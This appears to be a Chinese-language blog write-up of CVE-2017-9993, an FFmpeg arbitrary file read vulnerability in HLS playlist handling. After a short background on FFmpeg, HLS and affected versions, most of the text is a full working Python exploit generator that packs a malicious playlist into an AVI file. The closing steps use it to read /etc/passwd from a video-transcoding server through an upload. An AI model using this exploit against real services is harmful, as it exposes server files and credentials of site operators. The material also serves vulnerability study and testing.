正在加载一言...
0%

CVE-2017-9993-FFmpeg文件读取漏洞

CVE-2017-9993-FFmpeg文件读取漏洞

CVE-2017-9993-FFmpeg文件读取漏洞实验环境

漏洞介绍

FFmpeg

FFmpeg是一套目前非常流行的可以用来记录、转换数字音频、视频,并能将其转化为流的开源计算机程序。它提供了录制、转换以及流化音视频的完整解决方案。目前有非常多的视音频软件或是视频网站、手机 APP 都采用了这个库。

HLS 协议简单介绍

HLS(HTTP Live Streaming)是苹果公司针对iPhone、iPod、iTouch和iPad等移动设备而开发的基于HTTP协议的流媒体解决方案。在 HLS 技术中 Web服务器向客户端提供接近实时的音视频流。但在使用的过程中是使用的标准的 HTTP 协议,所以这时,只要使用 HLS 的技术,就能在普通的 HTTP 的应用上直接提供点播和直播。

该技术基本原理是将视频文件或视频流切分成小片(ts)并建立索引文件(m3u8)。客户端会先向服务器请求 m3u8索引文件,然后根据索引文件里面的url去请求真正的ts视频文件。如果是多级的m3u8索引的话,那就会从根索引文件开始,一层一层的往下去请求子的索引文件,获取最终的TS流文件的http请求地址与时间段。

漏洞介绍

6月24日,HackerOne平台名为neex的白帽子针对俄罗斯最大社交网站VK.com上报了该漏洞,并因此获得1000美元奖金。

ffmpeg可处理HLS播放列表,而播放列表中已知可包含外部文件的援引。neex表示他借由该特性,利用avi文件中的GAB2字幕块,可以通过XBIN codec获取到视频转换网站的本地文件。

影响范围

3.2.2 3.2.5 3.1.2 2.6.8

不受影响的版本

3.3.2

漏洞危害

该漏洞可导致读取本地任意文件,危害较大,Google,Yahoo,Youtube等门户、视听网站以及支持流转码服务的业务已被曝出存在该漏洞。国内支持流转码的网站也可能有存在该漏洞的风险。

漏洞利用脚本

gen_xbin_avi.py
gen_xbin_avi.py

#!/usr/bin/env python3
import struct
import argparse
import random
import string

AVI_HEADER = b"RIFF\x00\x00\x00\x00AVI LIST\x14\x01\x00\x00hdrlavih8\x00\x00\x00@\x9c\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x10\x00\x00\x00}\x00\x00\x00\x00\x00\x00\x00\x02\x00\x00\x00\x00\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LISTt\x00\x00\x00strlstrh8\x00\x00\x00txts\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x19\x00\x00\x00\x00\x00\x00\x00}\x00\x00\x00\x86\x03\x00\x00\x10'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xe0\x00\xa0\x00strf(\x00\x00\x00(\x00\x00\x00\xe0\x00\x00\x00\xa0\x00\x00\x00\x01\x00\x18\x00XVID\x00H\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00LIST    movi"

ECHO_TEMPLATE = """### echoing {needed!r}
#EXT-X-KEY: METHOD=AES-128, URI=/dev/zero, IV=0x{iv}
#EXTINF:1,
#EXT-X-BYTERANGE: 16
/dev/zero
#EXT-X-KEY: METHOD=NONE
"""

# AES.new('\x00'*16).decrypt('\x00'*16)
GAMMA = b'\x14\x0f\x0f\x10\x11\xb5"=yXw\x17\xff\xd9\xec:'

FULL_PLAYLIST = """#EXTM3U
#EXT-X-MEDIA-SEQUENCE:0
{content}
#### random string to prevent caching: {rand}
#EXT-X-ENDLIST"""

EXTERNAL_REFERENCE_PLAYLIST = """
####  External reference: reading {size} bytes from {filename} (offset {offset})
#EXTINF:1,
#EXT-X-BYTERANGE: {size}@{offset}
{filename}
"""

XBIN_HEADER = b'XBIN\x1A\x20\x00\x0f\x00\x10\x04\x01\x00\x00\x00\x00'


def echo_block(block):
    assert len(block) == 16
    iv = ''.join(map('{:02x}'.format, [x ^ y for (x, y) in zip(block, GAMMA)]))
    return ECHO_TEMPLATE.format(needed=block, iv=iv)


def gen_xbin_sync():
    seq = []
    for i in range(60):
        if i % 2:
            seq.append(0)
        else:
            seq.append(128 + 64 - i - 1)
    for i in range(4, 0, -1):
        seq.append(128 + i - 1)
    seq.append(0)
    seq.append(0)
    for i in range(12, 0, -1):
        seq.append(128 + i - 1)
    seq.append(0)
    seq.append(0)
    return seq


def test_xbin_sync(seq):
    for start_ind in range(64):
        path = [start_ind]
        cur_ind = start_ind
        while cur_ind < len(seq):
            if seq[cur_ind] == 0:
                cur_ind += 3
            else:
                assert seq[cur_ind] & (64 + 128) == 128
                cur_ind += (seq[cur_ind] & 63) + 3
            path.append(cur_ind)
        assert cur_ind == len(seq), "problem for path {}".format(path)


def echo_seq(s):
    assert len(s) % 16 == 0
    res = []
    for i in range(0, len(s), 16):
        res.append(echo_block(s[i:i + 16]))
    return ''.join(res)


test_xbin_sync(gen_xbin_sync())

SYNC = echo_seq(gen_xbin_sync())


def make_playlist_avi(playlist, fake_packets=1000, fake_packet_len=3):
    content = b'GAB2\x00\x02\x00' + b'\x00' * 10 + playlist.encode('ascii')
    packet = b'00tx' + struct.pack('<I', len(content)) + content
    dcpkt = b'00dc' + struct.pack('<I',
                                  fake_packet_len) + b'\x00' * fake_packet_len
    return AVI_HEADER + packet + dcpkt * fake_packets


def gen_xbin_packet_header(size):
    return bytes([0] * 9 + [1] + [0] * 4 + [128 + size - 1, 10])


def gen_xbin_packet_playlist(filename, offset, packet_size):
    result = []
    while packet_size > 0:
        packet_size -= 16
        assert packet_size > 0
        part_size = min(packet_size, 64)
        packet_size -= part_size
        result.append(echo_block(gen_xbin_packet_header(part_size)))
        result.append(
            EXTERNAL_REFERENCE_PLAYLIST.format(
                size=part_size,
                offset=offset,
                filename=filename))
        offset += part_size
    return ''.join(result), offset


def gen_xbin_playlist(filename_to_read):
    pls = [echo_block(XBIN_HEADER)]
    next_delta = 5
    for max_offs, filename in (
            (5000, filename_to_read), (500, "file:///dev/zero")):
        offset = 0
        while offset < max_offs:
            for _ in range(10):
                pls_part, new_offset = gen_xbin_packet_playlist(
                    filename, offset, 0xf0 - next_delta)
                pls.append(pls_part)
                next_delta = 0
            offset = new_offset
        pls.append(SYNC)
    return FULL_PLAYLIST.format(content=''.join(pls), rand=''.join(
        random.choice(string.ascii_lowercase) for i in range(30)))


if __name__ == "__main__":
    parser = argparse.ArgumentParser('AVI+M3U+XBIN ffmpeg exploit generator')
    parser.add_argument(
        'filename',
        help='filename to be read from the server (prefix it with "file://")')
    parser.add_argument('output_avi', help='where to save the avi')
    args = parser.parse_args()
    assert '://' in args.filename, "ffmpeg needs explicit proto (forgot file://?)"
    content = gen_xbin_playlist(args.filename)
    avi = make_playlist_avi(content)
    output_name = args.output_avi

    with open(output_name, 'wb') as f:
        f.write(avi)

步骤

./gen_xbin_avi.py file://<filename> file_read.avi

运行脚本

python gen_xbin_avi.py file:///etc/passwd passwd.avi

上传视频文件 查看

FFmpeg文件读取漏洞(CVE-2017-9993)